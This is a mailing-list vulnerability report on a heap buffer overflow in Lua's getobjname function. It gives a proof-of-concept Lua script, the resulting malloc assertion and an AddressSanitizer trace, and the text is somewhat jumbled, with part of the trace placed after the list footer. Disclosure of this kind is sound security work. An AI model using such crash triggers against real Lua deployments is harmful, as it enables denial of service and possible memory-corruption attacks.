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     Subject: heap-buffer-overflow in getobjname
     From: Rui Zhong <reversezr33@...>
Date: Mon, 6 Jul 2020 21:58:07 -0400
We found a heap buffer overflow in getobjname function.
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See follow PoC:
errfunc ( )
setmetatable (
  __gc = coroutine
)[xpcall
(function ()function crash ()function
  f (p25, p26, p27, p28, p29, p30, p31, p32, p33, p34, p35, p36, p37, p38,
    p39, p40, p41, p42, p43, p44, p45, p46, p48, p49, p50,
    ...) local a14 end f() () end for i = 1, 5
  do
  crash ( )end end,
  coroutine
  wrap (function ()xpcall (test, errfunc) xpcall (test, errfunc)
     ( function ( )print ( xpcall ( test, errfunc ) ) end ) ( )
Run this PoC with the original build lua will get
~/lua/lua poc.lua
lua: malloc.c:2394: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
Asan log:
==28107==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000014c at pc 0x000000040e7cb bp 0x7ffd49fcd550 sp 0x7ffd49fcd540
READ of size 4 at 0x60200000014c thread T0
  #0 0x40e7ca in getobjname (/home/yongheng/lua_asan/lua+0x40e7ca)
  #1 0x40ec98 in varinfo (/home/yongheng/lua_asan/lua+0x40ec98)
  \#2\ 0x411575\ in\ luaG\_typeerror\ (/home/yongheng/lua\_asan/lua+0x411575)
  \# 3\ 0x4138bc\ in\ luaD\_tryfuncTM\ (/home/yongheng/lua\_asan/lua+0x4138bc)
  #4 0x41480d in luaD_call (/home/yongheng/lua_asan/lua+0x41480d)
  #5 0x415194 in luaD_callnoyield (/home/yongheng/lua_asan/lua+0x415194)
  #6 0x4127d0 in luaD_rawrunprotected (/home/yongheng/lua_asan/lua+0x4127d0)
  #7 0x415d70 in luaD_pcall (/home/yongheng/lua_asan/lua+0x415d70)
  #8 0x41ac34 in GCTM (/home/yongheng/lua_asan/lua+0x41ac34)
```

Rest

Yongheng and Rui

- · Follow-Ups:
 - Re: heap-buffer-overflow in getobjname, William Ahern

#9 0x41e3de in singlestep (/home/yongheng/lua_asan/lua+0x41e3de) #10 0x42026e in luaC_step (/home/yongheng/lua_asan/lua+0x42026e)

- Re: heap-buffer-overflow in getobjname, Andrew Gierth
- Prev by Date: Re: Stack overflow in luaO pushvfstring
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